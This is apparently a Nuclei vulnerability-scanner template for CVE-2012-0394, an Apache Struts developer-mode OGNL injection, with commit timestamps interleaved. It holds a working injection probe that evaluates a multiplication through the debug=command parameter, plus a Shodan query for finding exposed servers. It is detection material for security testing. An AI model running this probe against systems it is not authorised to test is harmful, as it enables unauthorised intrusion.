2022-11-26 16:06:58 +00:00
id : CVE-2012-0394
2022-11-14 17:41:43 +00:00
info :
name : Apache Struts Dev Mode OGNL Injection
author : tess
severity : critical
2022-11-26 16:06:58 +00:00
description : |
The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE : the vendor characterizes this behavior as not "a security vulnerability itself."
2022-11-14 17:41:43 +00:00
reference :
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
2022-11-17 17:47:55 +00:00
- https://www.exploit-db.com/exploits/31434
2022-11-26 16:06:58 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
2022-11-26 16:52:14 +00:00
- http://www.exploit-db.com/exploits/18329
2022-12-02 21:24:17 +00:00
classification :
cve-id : CVE-2012-0394
2022-11-17 17:51:38 +00:00
metadata :
shodan-query : html:"Struts Problem Report"
2022-11-26 16:52:14 +00:00
verified : "true"
tags : ognl,injection,edb,cve,cve2012,apache,struts
2022-11-18 14:03:59 +00:00
variables :
first : "{{rand_int(1000, 9999)}}"
second : "{{rand_int(1000, 9999)}}"
result : "{{to_number(first)*to_number(second)}}"
2022-11-14 17:41:43 +00:00
requests :
- method : GET
path :
2022-11-18 14:03:59 +00:00
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
2022-11-14 17:41:43 +00:00
matchers-condition : and
matchers :
- type : word
words :
2022-11-18 14:03:59 +00:00
- '{{result}}'
2022-11-14 17:41:43 +00:00
- type : status
status :
- 200